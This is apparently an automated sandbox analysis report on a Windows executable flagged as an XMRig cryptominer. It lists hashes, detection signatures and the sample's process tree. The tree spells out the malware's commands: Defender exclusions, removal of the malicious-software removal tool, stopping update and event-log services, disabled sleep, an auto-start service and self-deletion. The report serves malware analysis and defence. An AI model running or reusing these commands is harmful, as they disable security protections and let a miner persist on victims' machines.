Analysis
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max time kernel
120s -
max time network
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platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
20-11-2024 17:53
Static task
static1
Behavioral task
behavioral1
Sample
d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe
Resource
win7-20240729-en
General
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Target
d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe
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Size
5.6MB
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MD5
db04ca5ff0dbeffc428fa2a7549621ff
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SHA1
73cfd4dec85344ae3e547f10d438f750bb3408f2
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SHA256
d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a
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SHA512
91146aa7c798d083088cc477d0970d41c6cc595ec1ca3a8d900ab560118fe04f1a478b73d2e35eb25f7daa3702388d0fe07f1f9fd55d5a6334f7bd95602c858f
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hd:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgR
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/3028-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3028-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3028-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3028-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3028-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3028-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3028-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3028-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid Process 2708 powershell.exe 2780 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
Processes:
cmd.exepid Process 2648 cmd.exe -
Executes dropped EXE 2 IoCs
Processes:
fqwofdtexigy.exepid Process 472 2540 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
Processes:
pid Process 472 -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
Processes:
powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepid Process 2192 powercfg.exe 2096 powercfg.exe 2260 powercfg.exe 2924 powercfg.exe 1904 powercfg.exe 1100 powercfg.exe 1980 powercfg.exe 2112 powercfg.exe -
Drops file in System32 directory 4 IoCs
Processes:
fqwofdtexigy.exepowershell.exed8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exepowershell.exedescription ioc Process File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
fqwofdtexigy.exedescription pid Process procid_target PID 2540 set thread context of 2336 2540 fqwofdtexigy.exe 84 PID 2540 set thread context of 3028 2540 fqwofdtexigy.exe 89 -
Processes:
resource yara_rule behavioral1/memory/3028-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3028-39-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
Processes:
wusa.exewusa.exedescription ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid Process 336 sc.exe 444 sc.exe 2064 sc.exe 2776 sc.exe 844 sc.exe 2392 sc.exe 2140 sc.exe 2572 sc.exe 2652 sc.exe 2444 sc.exe 2060 sc.exe 1104 sc.exe 592 sc.exe 784 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0624f39753bdb01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exepowershell.exefqwofdtexigy.exepowershell.exenslookup.exepid Process 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2708 powershell.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2324 d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe 2540 fqwofdtexigy.exe 2780 powershell.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 2540 fqwofdtexigy.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe 3028 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exenslookup.exedescription pid Process Token: SeDebugPrivilege 2708 powershell.exe Token: SeShutdownPrivilege 2924 powercfg.exe Token: SeShutdownPrivilege 1100 powercfg.exe Token: SeShutdownPrivilege 1980 powercfg.exe Token: SeShutdownPrivilege 1904 powercfg.exe Token: SeDebugPrivilege 2780 powershell.exe Token: SeShutdownPrivilege 2112 powercfg.exe Token: SeShutdownPrivilege 2260 powercfg.exe Token: SeShutdownPrivilege 2096 powercfg.exe Token: SeShutdownPrivilege 2192 powercfg.exe Token: SeLockMemoryPrivilege 3028 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
cmd.execmd.execmd.exefqwofdtexigy.exedescription pid Process procid_target PID 2580 wrote to memory of 2556 2580 cmd.exe 38 PID 2580 wrote to memory of 2556 2580 cmd.exe 38 PID 2580 wrote to memory of 2556 2580 cmd.exe 38 PID 2648 wrote to memory of 1152 2648 cmd.exe 63 PID 2648 wrote to memory of 1152 2648 cmd.exe 63 PID 2648 wrote to memory of 1152 2648 cmd.exe 63 PID 2440 wrote to memory of 2356 2440 cmd.exe 71 PID 2440 wrote to memory of 2356 2440 cmd.exe 71 PID 2440 wrote to memory of 2356 2440 cmd.exe 71 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 2336 2540 fqwofdtexigy.exe 84 PID 2540 wrote to memory of 3028 2540 fqwofdtexigy.exe 89 PID 2540 wrote to memory of 3028 2540 fqwofdtexigy.exe 89 PID 2540 wrote to memory of 3028 2540 fqwofdtexigy.exe 89 PID 2540 wrote to memory of 3028 2540 fqwofdtexigy.exe 89 PID 2540 wrote to memory of 3028 2540 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe"C:\Users\Admin\AppData\Local\Temp\d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2324 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2708
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2556
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2064
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2776
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2572
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:844
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2060
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2924
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1904
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1100
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1980
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:1104
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:336
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2652
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2444
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1152
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2780
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2356
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:444
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2392
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:784
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:592
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2140
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2112
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2192
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2096
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2260
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2336
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3028
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5db04ca5ff0dbeffc428fa2a7549621ff
SHA173cfd4dec85344ae3e547f10d438f750bb3408f2
SHA256d8abf0097e0eba011c644527f8f76d725aaf3c4ff599e6542cdfb6013072d85a
SHA51291146aa7c798d083088cc477d0970d41c6cc595ec1ca3a8d900ab560118fe04f1a478b73d2e35eb25f7daa3702388d0fe07f1f9fd55d5a6334f7bd95602c858f